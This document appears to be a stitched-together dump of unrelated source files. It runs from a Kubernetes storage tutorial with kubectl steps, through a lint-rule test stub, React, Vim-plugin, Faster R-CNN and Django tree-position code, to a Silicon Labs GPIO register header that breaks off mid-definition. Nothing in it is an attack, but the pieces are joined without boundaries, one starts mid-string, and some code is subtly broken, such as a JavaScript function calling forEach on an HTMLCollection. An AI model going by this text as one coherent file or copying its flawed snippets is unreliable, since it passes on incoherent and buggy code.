localstorage.hwameistor.io Delete WaitForFirstConsumer false 21d\nlocal-storage-hdd-lvm localstorage.hwameistor.io Delete WaitForFirstConsumer true 21d\nlocal-storage-hdd-lvm-ha localstorage.hwameistor.io Delete WaitForFirstConsumer true 21d\nlocal-storage-hdd-ram localstorage.hwameistor.io Delete WaitForFirstConsumer false 15d\n")),(0,o.kt)("h3",{id:"step-4-create-pvc"},"Step 4: Create PVC"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"# create a test PVC with LVM local volume\n$ kubectl apply -f deploy/pvc-lvm.yaml\n\n# check PVC status. It should be in Pending\n$ kubectl get pvc\nNAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE\nlocal-storage-pvc-lvm Pending local-storage-hdd-lvm 3s\n")),(0,o.kt)("h3",{id:"step-5-deploy-nginx-with-pvc"},"Step 5: Deploy Nginx with PVC"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"# deploy a nginx application which uses the LVM local volume PVC\n$ kubectl apply -f deploy/nginx-lvm.yaml\n\n$ kubectl get pod\nNAME READY STATUS RESTARTS AGE\nnginx-local-storage-lvm-86d8c884c9-q58kq 0/1 Pending 0 63s\n\n$ kubectl get pvc\nNAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE\nlocal-storage-pvc-lvm Pending local-storage-hdd-lvm 102s\n")),(0,o.kt)("h3",{id:"step-6-check-status-of-local-storage"},"Step 6: Check status of local-storage"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"# check status of local-storage nodes\n$ kubectl get lsn # localstoragenode\nNAME VOLUMEKIND RAMDISKQUOTA ZONE REGION STATUS AGE\nlocalstorage-10-6-161-26 LVM 0 default default Ready 14d\n\n# check status of local volume and volume replica\n$ kubectl get lv # localvolume\nNAME POOL KIND REPLICAS CAPACITY ACCESSIBILITY STATE RESOURCE PUBLISHED AGE\npvc-996b05e8-80f2-4240-ace4-5f5f250310e2 LocalStorage_PoolHDD LVM 1 1073741824 k8s-node1 Creating 2m50s\n")),(0,o.kt)("p",null,"For the disk is not allocated, the pvc is Pending and the lv is Creating. Because of no storage capacity, the local disk manager service needs to be deployed to claim more storage resources."),(0,o.kt)("h3",{id:"step-7-deploy-local-disk-manager-service"},"Step 7: Deploy local disk manager service"),(0,o.kt)("p",null,"For installing local-disk-manager, refer to ",(0,o.kt)("a",{parentName:"p",href:"/docs/01features/01local-disk-manager"},"local-disk-manager"),"."),(0,o.kt)("p",null,"Check specific information for each physical disk on the local-storage node, and the disk claim information."),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"$ kubectl get ldc -A # localdiskclaim\nNAMESPACE NAME NODEMATCH PHASE\nhwameistor localdiskclaim-sample-1 k8s-node1 Bound\n$ kubectl get ld # localdisk\nNAME NODEMATCH CLAIM PHASE\nk8s-node1-sdb k8s-node1 localdiskclaim-sample-1 Claimed\n")),(0,o.kt)("p",null,"The disk has been applied and successfully assigned to localstoragenode k8s-node1, and checking the service status is normal."),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-bash"},"$ kubectl get pvc # pvc\nNAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE\nlocal-storage-pvc-lvm Bound pvc-996b05e8-80f2-4240-ace4-5f5f250310e2 1Gi RWO local-storage-hdd-lvm 37m\n# check status of local volume and volume replica\n$ kubectl get lv # localvolume\nNAME POOL KIND REPLICAS CAPACITY ACCESSIBILITY STATE RESOURCE PUBLISHED AGE\npvc-996b05e8-80f2-4240-ace4-5f5f250310e2 LocalStorage_PoolHDD LVM 1 1073741824 k8s-node1 Ready -1 22m\n\n$ kubectl get lvr # localvolumereplica\nNAME KIND CAPACITY NODE STATE SYNCED DEVICE AGE\npvc-996b05e8-80f2-4240-ace4-5f5f250310e2-v5scm9 LVM 1073741824 k8s-node1 Ready true /dev/LocalStorage_PoolHDD/pvc-996b05e8-80f2-4240-ace4-5f5f250310e2 80s\n\n$ kubectl get pod\nNAME READY STATUS RESTARTS AGE\nnginx-local-storage-lvm-86d8c884c9-q58kq 1/1 Running 0 36m\n")))}g.isMDXComponent=!0}}]);
'use strict'; const generateRuleTests = require('../../helpers/rule-test-harness'); const { ERROR_MESSAGE } = require('../../../lib/rules/placeholder-for-dasherized-rule'); generateRuleTests({ name: 'placeholder-for-dasherized-rule', config: true, // TODO update with a good example that should pass good: ['passingTest00'], // TODO update with tests that should fail bad: [ { template: 'FailingTest00 -- contains DisallowedText', result: { message: ERROR_MESSAGE, line: 1, column: 0, source: 'FailingTest00 -- contains DisallowedText', }, }, ], });
import React, { Component } from 'react'; class Cryptog extends Component { render(){ let size = 100; if(this.props.size){ size=this.props.size } return ( <div style={{width:size,height:size,margin:3}}> <div className="circle-text"> <img className="circular-square" src={this.props.image} /> </div> </div> ) } } export default Cryptog;
# ============================================================================ # FILE: base/kind.py # AUTHOR: Shougo Matsushita <Shougo.Matsu at gmail.com> # License: MIT license # ============================================================================ from pynvim import Nvim import typing import denite.util from denite.util import UserContext, Candidate class Base(object): def __init__(self, vim: Nvim) -> None: self.vim = vim self.name = 'base' self.default_action = 'echo' self.persist_actions: typing.List[str] = [ 'echo', 'preview', 'preview_bat' ] self.redraw_actions: typing.List[str] = [] self._previewed_target: typing.Dict[str, Candidate] = {} self._previewed_winid: int = 0 def debug(self, expr: str) -> None: denite.util.debug(self.vim, expr) def action_echo(self, context: UserContext) -> None: self.vim.command('redraw') for target in context['targets']: self.debug(target) self.vim.call('denite#util#getchar') def action_yank(self, context: UserContext) -> None: _yank(self.vim, "\n".join([ x['word'] for x in context['targets'] ])) def action_ex(self, context: UserContext) -> None: _ex(self.vim, "\n".join([ x['word'] for x in context['targets'] ])) def action_replace(self, context: UserContext) -> None: self.vim.command('normal! viw') self.action_append(context) def action_append(self, context: UserContext) -> None: for target in context['targets']: _paste(self.vim, target.get('action__text', target['word']), 'p', target.get('action__regtype', 'v')) def action_insert(self, context: UserContext) -> None: for target in context['targets']: _paste(self.vim, target.get('action__text', target['word']), 'P', target.get('action__regtype', 'v')) def get_action_names(self) -> typing.List[str]: return ['default'] + [x.replace('action_', '') for x in dir(self) if x.find('action_') == 0] def action_preview(self, context: UserContext) -> None: pass def action_preview_bat(self, context: UserContext) -> None: pass def action_defx(self, context: UserContext) -> None: if not self.vim.call('exists', '*defx#start_candidates'): return self.vim.call('defx#start_candidates', [x.get('action__path', x['word']) for x in context['targets']], {}) def preview_terminal(self, context: UserContext, cmd: typing.List[str], action_name: str) -> None: target = context['targets'][0] if (self._previewed_target == target and context['auto_action'] == action_name): # Skip if auto_action return prev_id = self.vim.call('win_getid') is_nvim = self.vim.call('has', 'nvim') if self._previewed_winid: self.vim.call('win_gotoid', self._previewed_winid) if self.vim.call('win_getid') != prev_id: self.vim.command('bdelete! ' + str(self.vim.call('bufnr', '%'))) self.vim.vars['denite#_previewing_bufnr'] = -1 self.vim.call('win_gotoid', prev_id) self._previewed_winid = 0 if self._previewed_target == target: # Close the window only return self.vim.call('denite#helper#preview_file', context, '') if is_nvim: self.vim.call('termopen', cmd) else: self.vim.call('term_start', cmd, { 'curwin': True, 'term_kill': 'kill', }) bufnr = self.vim.call('bufnr', '%') self._previewed_winid = self.vim.call('win_getid') self.vim.vars['denite#_previewing_bufnr'] = bufnr self.vim.call('win_gotoid', prev_id) self._previewed_target = target class Kind(Base): def __init__(self, vim: Nvim) -> None: super().__init__(vim) def _yank(vim: Nvim, word: str) -> None: vim.call('setreg', '"', word, 'v') if vim.call('has', 'clipboard'): vim.call('setreg', vim.eval('v:register'), word, 'v') def _ex(vim: Nvim, word: str) -> None: # NOTE: # <C-b> (\x02) in a command-line move the caret to the beginning. # Somehow the key above works in 'input()' function as well. expr = vim.call('input', ':', ' %s\x02' % word, 'command') if expr: vim.command(expr) def _paste(vim: Nvim, word: str, command: str, regtype: str) -> None: if regtype == '': regtype = 'v' # Paste. old_reg = [vim.call('getreg', '"'), vim.call('getregtype', '"')] vim.call('setreg', '"', word, regtype) try: vim.command('normal! ""' + command) finally: vim.call('setreg', '"', old_reg[0], old_reg[1]) # Open folds vim.command('normal! zv')
function change() { var allElements = document.getElementsByClassName("cb"); allElements.forEach(function(element){ element.style = 'color: red;'; }); }
import colorsys import os import time import numpy as np import torch import torch.nn as nn from PIL import Image, ImageDraw, ImageFont from nets.frcnn import FasterRCNN from utils.utils import (cvtColor, get_classes, get_new_img_size, resize_image, preprocess_input) from utils.utils_bbox import DecodeBox #--------------------------------------------# # 使用自己训练好的模型预测需要修改2个参数 # model_path和classes_path都需要修改! # 如果出现shape不匹配 # 一定要注意训练时的NUM_CLASSES、 # model_path和classes_path参数的修改 #--------------------------------------------# class FRCNN(object): _defaults = { #--------------------------------------------------------------------------# # 使用自己训练好的模型进行预测一定要修改model_path和classes_path! # model_path指向logs文件夹下的权值文件,classes_path指向model_data下的txt # # 训练好后logs文件夹下存在多个权值文件,选择验证集损失较低的即可。 # 验证集损失较低不代表mAP较高,仅代表该权值在验证集上泛化性能较好。 # 如果出现shape不匹配,同时要注意训练时的model_path和classes_path参数的修改 #--------------------------------------------------------------------------# "model_path" : 'model_data/voc_weights_resnet.pth', "classes_path" : 'model_data/voc_classes.txt', #---------------------------------------------------------------------# # 网络的主干特征提取网络,resnet50或者vgg #---------------------------------------------------------------------# "backbone" : "resnet50", #---------------------------------------------------------------------# # 只有得分大于置信度的预测框会被保留下来 #---------------------------------------------------------------------# "confidence" : 0.5, #---------------------------------------------------------------------# # 非极大抑制所用到的nms_iou大小 #---------------------------------------------------------------------# "nms_iou" : 0.3, #---------------------------------------------------------------------# # 用于指定先验框的大小 #---------------------------------------------------------------------# 'anchors_size' : [8, 16, 32], #-------------------------------# # 是否使用Cuda # 没有GPU可以设置成False #-------------------------------# "cuda" : True, } @classmethod def get_defaults(cls, n): if n in cls._defaults: return cls._defaults[n] else: return "Unrecognized attribute name '" + n + "'" #---------------------------------------------------# # 初始化faster RCNN #---------------------------------------------------# def __init__(self, **kwargs): self.__dict__.update(self._defaults) for name, value in kwargs.items(): setattr(self, name, value) #---------------------------------------------------# # 获得种类和先验框的数量 #---------------------------------------------------# self.class_names, self.num_classes = get_classes(self.classes_path) self.std = torch.Tensor([0.1, 0.1, 0.2, 0.2]).repeat(self.num_classes + 1)[None] if self.cuda: self.std = self.std.cuda() self.bbox_util = DecodeBox(self.std, self.num_classes) #---------------------------------------------------# # 画框设置不同的颜色 #---------------------------------------------------# hsv_tuples = [(x / self.num_classes, 1., 1.) for x in range(self.num_classes)] self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) self.colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), self.colors)) self.generate() #---------------------------------------------------# # 载入模型 #---------------------------------------------------# def generate(self): #-------------------------------# # 载入模型与权值 #-------------------------------# self.net = FasterRCNN(self.num_classes, "predict", anchor_scales = self.anchors_size, backbone = self.backbone) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') self.net.load_state_dict(torch.load(self.model_path, map_location=device)) self.net = self.net.eval() print('{} model, anchors, and classes loaded.'.format(self.model_path)) if self.cuda: self.net = nn.DataParallel(self.net) self.net = self.net.cuda() #---------------------------------------------------# # 检测图片 #---------------------------------------------------# def detect_image(self, image): #---------------------------------------------------# # 计算输入图片的高和宽 #---------------------------------------------------# image_shape = np.array(np.shape(image)[0:2]) #---------------------------------------------------# # 计算resize后的图片的大小,resize后的图片短边为600 #---------------------------------------------------# input_shape = get_new_img_size(image_shape[0], image_shape[1]) #---------------------------------------------------------# # 在这里将图像转换成RGB图像,防止灰度图在预测时报错。 # 代码仅仅支持RGB图像的预测,所有其它类型的图像都会转化成RGB #---------------------------------------------------------# image = cvtColor(image) #---------------------------------------------------------# # 给原图像进行resize,resize到短边为600的大小上 #---------------------------------------------------------# image_data = resize_image(image, [input_shape[1], input_shape[0]]) #---------------------------------------------------------# # 添加上batch_size维度 #---------------------------------------------------------# image_data = np.expand_dims(np.transpose(preprocess_input(np.array(image_data, dtype='float32')), (2, 0, 1)), 0) with torch.no_grad(): images = torch.from_numpy(image_data) if self.cuda: images = images.cuda() #-------------------------------------------------------------# # roi_cls_locs 建议框的调整参数 # roi_scores 建议框的种类得分 # rois 建议框的坐标 #-------------------------------------------------------------# roi_cls_locs, roi_scores, rois, _ = self.net(images) #-------------------------------------------------------------# # 利用classifier的预测结果对建议框进行解码,获得预测框 #-------------------------------------------------------------# results = self.bbox_util.forward(roi_cls_locs, roi_scores, rois, image_shape, input_shape, nms_iou = self.nms_iou, confidence = self.confidence) #---------------------------------------------------------# # 如果没有检测出物体,返回原图 #---------------------------------------------------------# if len(results[0]) <= 0: return image top_label = np.array(results[0][:, 5], dtype = 'int32') top_conf = results[0][:, 4] top_boxes = results[0][:, :4] #---------------------------------------------------------# # 设置字体与边框厚度 #---------------------------------------------------------# font = ImageFont.truetype(font='model_data/simhei.ttf', size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32')) thickness = int(max((image.size[0] + image.size[1]) // np.mean(input_shape), 1)) #---------------------------------------------------------# # 图像绘制 #---------------------------------------------------------# for i, c in list(enumerate(top_label)): predicted_class = self.class_names[int(c)] box = top_boxes[i] score = top_conf[i] top, left, bottom, right = box top = max(0, np.floor(top).astype('int32')) left = max(0, np.floor(left).astype('int32')) bottom = min(image.size[1], np.floor(bottom).astype('int32')) right = min(image.size[0], np.floor(right).astype('int32')) label = '{} {:.2f}'.format(predicted_class, score) draw = ImageDraw.Draw(image) label_size = draw.textsize(label, font) label = label.encode('utf-8') # print(label, top, left, bottom, right) if top - label_size[1] >= 0: text_origin = np.array([left, top - label_size[1]]) else: text_origin = np.array([left, top + 1]) for i in range(thickness): draw.rectangle([left + i, top + i, right - i, bottom - i], outline=self.colors[c]) draw.rectangle([tuple(text_origin), tuple(text_origin + label_size)], fill=self.colors[c]) draw.text(text_origin, str(label,'UTF-8'), fill=(0, 0, 0), font=font) del draw return image def get_FPS(self, image, test_interval): #---------------------------------------------------# # 计算输入图片的高和宽 #---------------------------------------------------# image_shape = np.array(np.shape(image)[0:2]) input_shape = get_new_img_size(image_shape[0], image_shape[1]) #---------------------------------------------------------# # 在这里将图像转换成RGB图像,防止灰度图在预测时报错。 # 代码仅仅支持RGB图像的预测,所有其它类型的图像都会转化成RGB #---------------------------------------------------------# image = cvtColor(image) #---------------------------------------------------------# # 给原图像进行resize,resize到短边为600的大小上 #---------------------------------------------------------# image_data = resize_image(image, [input_shape[1], input_shape[0]]) #---------------------------------------------------------# # 添加上batch_size维度 #---------------------------------------------------------# image_data = np.expand_dims(np.transpose(preprocess_input(np.array(image_data, dtype='float32')), (2, 0, 1)), 0) with torch.no_grad(): images = torch.from_numpy(image_data) if self.cuda: images = images.cuda() roi_cls_locs, roi_scores, rois, _ = self.net(images) #-------------------------------------------------------------# # 利用classifier的预测结果对建议框进行解码,获得预测框 #-------------------------------------------------------------# results = self.bbox_util.forward(roi_cls_locs, roi_scores, rois, image_shape, input_shape, nms_iou = self.nms_iou, confidence = self.confidence) t1 = time.time() for _ in range(test_interval): with torch.no_grad(): roi_cls_locs, roi_scores, rois, _ = self.net(images) #-------------------------------------------------------------# # 利用classifier的预测结果对建议框进行解码,获得预测框 #-------------------------------------------------------------# results = self.bbox_util.forward(roi_cls_locs, roi_scores, rois, image_shape, input_shape, nms_iou = self.nms_iou, confidence = self.confidence) t2 = time.time() tact_time = (t2 - t1) / test_interval return tact_time #---------------------------------------------------# # 检测图片 #---------------------------------------------------# def get_map_txt(self, image_id, image, class_names, map_out_path): f = open(os.path.join(map_out_path, "detection-results/"+image_id+".txt"),"w") #---------------------------------------------------# # 计算输入图片的高和宽 #---------------------------------------------------# image_shape = np.array(np.shape(image)[0:2]) input_shape = get_new_img_size(image_shape[0], image_shape[1]) #---------------------------------------------------------# # 在这里将图像转换成RGB图像,防止灰度图在预测时报错。 # 代码仅仅支持RGB图像的预测,所有其它类型的图像都会转化成RGB #---------------------------------------------------------# image = cvtColor(image) #---------------------------------------------------------# # 给原图像进行resize,resize到短边为600的大小上 #---------------------------------------------------------# image_data = resize_image(image, [input_shape[1], input_shape[0]]) #---------------------------------------------------------# # 添加上batch_size维度 #---------------------------------------------------------# image_data = np.expand_dims(np.transpose(preprocess_input(np.array(image_data, dtype='float32')), (2, 0, 1)), 0) with torch.no_grad(): images = torch.from_numpy(image_data) if self.cuda: images = images.cuda() roi_cls_locs, roi_scores, rois, _ = self.net(images) #-------------------------------------------------------------# # 利用classifier的预测结果对建议框进行解码,获得预测框 #-------------------------------------------------------------# results = self.bbox_util.forward(roi_cls_locs, roi_scores, rois, image_shape, input_shape, nms_iou = self.nms_iou, confidence = self.confidence) #--------------------------------------# # 如果没有检测到物体,则返回原图 #--------------------------------------# if len(results[0]) <= 0: return top_label = np.array(results[0][:, 5], dtype = 'int32') top_conf = results[0][:, 4] top_boxes = results[0][:, :4] for i, c in list(enumerate(top_label)): predicted_class = self.class_names[int(c)] box = top_boxes[i] score = str(top_conf[i]) top, left, bottom, right = box if predicted_class not in class_names: continue f.write("%s %s %s %s %s %s\n" % (predicted_class, score[:6], str(int(left)), str(int(top)), str(int(right)),str(int(bottom)))) f.close() return
import typing from django.db import models from django.utils.translation import gettext_lazy as _ from .paths import Path, PathFactory class RelativePosition(models.TextChoices): CHILD = 'child_of', _("Child of") FIRST_CHILD = 'first_child_of', ("First child of") # Same functionality as child_of LAST_CHILD = 'last_child_of', _("Last child of") # These could be "before" and "after" BEFORE = 'before', _("Before") AFTER = 'after', _("After") # Right-most root element ROOT = 'root', _("Last root") # Consider just making its own functions # Or put back on manager or something @classmethod def resolve(cls, kwargs, path_field: str, path_factory: PathFactory) -> typing.Tuple[Path, typing.Optional[int]]: """ Parse kwargs and normalize relative position to always be tuple = (parent_path, nth-child) """ # Path field is used to unwrap/duck-type models that have a path attribute positions: typing.Dict['RelativePosition', typing.Any] = {} for position in cls: try: positions[position] = kwargs.pop(position.value) except KeyError: continue if len(positions) != 1: raise TypeError(f"Could not resolve position: {positions!r}") position, relative_to = positions.popitem() if position == cls.ROOT: if relative_to is not True: raise ValueError(f"Expected kwarg root=True, got root={relative_to!r}") return [], None # Duck-type model instances # Might want to use isinstance instead? if hasattr(relative_to, path_field): relative_to = getattr(relative_to, path_field) # TODO Better error handling here? # Convert strings to lists? if not isinstance(relative_to, list): relative_to = relative_to.split('.') # last_child_of is a more verbose alias for child_of if position in {cls.CHILD, cls.LAST_CHILD}: return relative_to, None elif position == cls.FIRST_CHILD: return relative_to, 0 elif position in {cls.BEFORE, cls.AFTER}: parent, child_index = path_factory.split(relative_to) if position == cls.AFTER: child_index += 1 return parent, child_index else: # Should never get here raise Exception class SortedPosition(models.TextChoices): CHILD = 'child_of', _("Child of") SIBLING = 'sibling', _("Sibling of") ROOT = 'root', _("Root") @classmethod def resolve(cls, kwargs, path_field: str, path_factory: PathFactory) -> typing.Tuple[Path, typing.Optional[int]]: """ Parse kwargs and normalize relative position to always be tuple = (parent_path, nth-child) """ # Path field is used to unwrap/duck-type models that have a path attribute positions: typing.Dict['SortedPosition', typing.Any] = {} for position in cls: try: positions[position] = kwargs.pop(position.value) except KeyError: continue if len(positions) != 1: raise TypeError(f"Could not resolve position: {positions!r}") position, relative_to = positions.popitem() if position == cls.ROOT: if relative_to is not True: raise ValueError(f"Expected kwarg root=True, got root={relative_to!r}") return [], None # Duck-type model instances # Might want to use isinstance instead? if hasattr(relative_to, path_field): relative_to = getattr(relative_to, path_field) # TODO Better error handling here? # Convert strings to lists? if not isinstance(relative_to, list): relative_to = relative_to.split('.') # last_child_of is a more verbose alias for child_of if position == cls.CHILD: return relative_to, None elif position == cls.SIBLING: parent, child_index = path_factory.split(relative_to) return parent, None else: # Should never get here raise Exception
/***************************************************************************//** * @file * @brief EFR32FG12P_GPIO register and bit field definitions ******************************************************************************* * # License * <b>Copyright 2022 Silicon Laboratories Inc. www.silabs.com</b> ******************************************************************************* * * SPDX-License-Identifier: Zlib * * The licensor of this software is Silicon Laboratories Inc. * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. * ******************************************************************************/ #if defined(__ICCARM__) #pragma system_include /* Treat file as system include file. */ #elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) #pragma clang system_header /* Treat file as system include file. */ #endif /***************************************************************************//** * @addtogroup Parts * @{ ******************************************************************************/ /***************************************************************************//** * @defgroup EFR32FG12P_GPIO GPIO * @{ * @brief EFR32FG12P_GPIO Register Declaration ******************************************************************************/ /** GPIO Register Declaration */ typedef struct { GPIO_P_TypeDef P[12U]; /**< Port configuration bits */ uint32_t RESERVED0[112U]; /**< Reserved for future use **/ __IOM uint32_t EXTIPSELL; /**< External Interrupt Port Select Low Register */ __IOM uint32_t EXTIPSELH; /**< External Interrupt Port Select High Register */ __IOM uint32_t EXTIPINSELL; /**< External Interrupt Pin Select Low Register */ __IOM uint32_t EXTIPINSELH; /**< External Interrupt Pin Select High Register */ __IOM uint32_t EXTIRISE; /**< External Interrupt Rising Edge Trigger Register */ __IOM uint32_t EXTIFALL; /**< External Interrupt Falling Edge Trigger Register */ __IOM uint32_t EXTILEVEL; /**< External Interrupt Level Register */ __IM uint32_t IF; /**< Interrupt Flag Register */ __IOM uint32_t IFS; /**< Interrupt Flag Set Register */ __IOM uint32_t IFC; /**< Interrupt Flag Clear Register */ __IOM uint32_t IEN; /**< Interrupt Enable Register */ __IOM uint32_t EM4WUEN; /**< EM4 Wake Up Enable Register */ uint32_t RESERVED1[4U]; /**< Reserved for future use **/ __IOM uint32_t ROUTEPEN; /**< I/O Routing Pin Enable Register */ __IOM uint32_t ROUTELOC0; /**< I/O Routing Location Register */ __IOM uint32_t ROUTELOC1; /**< I/O Routing Location Register 1 */ uint32_t RESERVED2[1U]; /**< Reserved for future use **/ __IOM uint32_t INSENSE; /**< Input Sense Register */ __IOM uint32_t LOCK; /**< Configuration Lock Register */ } GPIO_TypeDef; /** @} */ /***************************************************************************//** * @addtogroup EFR32FG12P_GPIO * @{ * @defgroup EFR32FG12P_GPIO_BitFields GPIO Bit Fields * @{ ******************************************************************************/ /* Bit fields for GPIO P_CTRL */ #define _GPIO_P_CTRL_RESETVALUE 0x00500050UL /**< Default value for GPIO_P_CTRL */ #define _GPIO_P_CTRL_MASK 0x10711071UL /**< Mask for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTH (0x1UL << 0) /**< Drive Strength for Port */ #define _GPIO_P_CTRL_DRIVESTRENGTH_SHIFT 0 /**< Shift value for GPIO_DRIVESTRENGTH */ #define _GPIO_P_CTRL_DRIVESTRENGTH_MASK 0x1UL /**< Bit mask for GPIO_DRIVESTRENGTH */ #define _GPIO_P_CTRL_DRIVESTRENGTH_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define _GPIO_P_CTRL_DRIVESTRENGTH_STRONG 0x00000000UL /**< Mode STRONG for GPIO_P_CTRL */ #define _GPIO_P_CTRL_DRIVESTRENGTH_WEAK 0x00000001UL /**< Mode WEAK for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTH_DEFAULT (_GPIO_P_CTRL_DRIVESTRENGTH_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTH_STRONG (_GPIO_P_CTRL_DRIVESTRENGTH_STRONG << 0) /**< Shifted mode STRONG for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTH_WEAK (_GPIO_P_CTRL_DRIVESTRENGTH_WEAK << 0) /**< Shifted mode WEAK for GPIO_P_CTRL */ #define _GPIO_P_CTRL_SLEWRATE_SHIFT 4 /**< Shift value for GPIO_SLEWRATE */ #define _GPIO_P_CTRL_SLEWRATE_MASK 0x70UL /**< Bit mask for GPIO_SLEWRATE */ #define _GPIO_P_CTRL_SLEWRATE_DEFAULT 0x00000005UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_SLEWRATE_DEFAULT (_GPIO_P_CTRL_SLEWRATE_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DINDIS (0x1UL << 12) /**< Data in Disable */ #define _GPIO_P_CTRL_DINDIS_SHIFT 12 /**< Shift value for GPIO_DINDIS */ #define _GPIO_P_CTRL_DINDIS_MASK 0x1000UL /**< Bit mask for GPIO_DINDIS */ #define _GPIO_P_CTRL_DINDIS_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DINDIS_DEFAULT (_GPIO_P_CTRL_DINDIS_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTHALT (0x1UL << 16) /**< Alternate Drive Strength for Port */ #define _GPIO_P_CTRL_DRIVESTRENGTHALT_SHIFT 16 /**< Shift value for GPIO_DRIVESTRENGTHALT */ #define _GPIO_P_CTRL_DRIVESTRENGTHALT_MASK 0x10000UL /**< Bit mask for GPIO_DRIVESTRENGTHALT */ #define _GPIO_P_CTRL_DRIVESTRENGTHALT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define _GPIO_P_CTRL_DRIVESTRENGTHALT_STRONG 0x00000000UL /**< Mode STRONG for GPIO_P_CTRL */ #define _GPIO_P_CTRL_DRIVESTRENGTHALT_WEAK 0x00000001UL /**< Mode WEAK for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTHALT_DEFAULT (_GPIO_P_CTRL_DRIVESTRENGTHALT_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTHALT_STRONG (_GPIO_P_CTRL_DRIVESTRENGTHALT_STRONG << 16) /**< Shifted mode STRONG for GPIO_P_CTRL */ #define GPIO_P_CTRL_DRIVESTRENGTHALT_WEAK (_GPIO_P_CTRL_DRIVESTRENGTHALT_WEAK << 16) /**< Shifted mode WEAK for GPIO_P_CTRL */ #define _GPIO_P_CTRL_SLEWRATEALT_SHIFT 20 /**< Shift value for GPIO_SLEWRATEALT */ #define _GPIO_P_CTRL_SLEWRATEALT_MASK 0x700000UL /**< Bit mask for GPIO_SLEWRATEALT */ #define _GPIO_P_CTRL_SLEWRATEALT_DEFAULT 0x00000005UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_SLEWRATEALT_DEFAULT (_GPIO_P_CTRL_SLEWRATEALT_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DINDISALT (0x1UL << 28) /**< Alternate Data in Disable */ #define _GPIO_P_CTRL_DINDISALT_SHIFT 28 /**< Shift value for GPIO_DINDISALT */ #define _GPIO_P_CTRL_DINDISALT_MASK 0x10000000UL /**< Bit mask for GPIO_DINDISALT */ #define _GPIO_P_CTRL_DINDISALT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_CTRL */ #define GPIO_P_CTRL_DINDISALT_DEFAULT (_GPIO_P_CTRL_DINDISALT_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_P_CTRL */ /* Bit fields for GPIO P_MODEL */ #define _GPIO_P_MODEL_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MASK 0xFFFFFFFFUL /**< Mask for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_SHIFT 0 /**< Shift value for GPIO_MODE0 */ #define _GPIO_P_MODEL_MODE0_MASK 0xFUL /**< Bit mask for GPIO_MODE0 */ #define _GPIO_P_MODEL_MODE0_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define 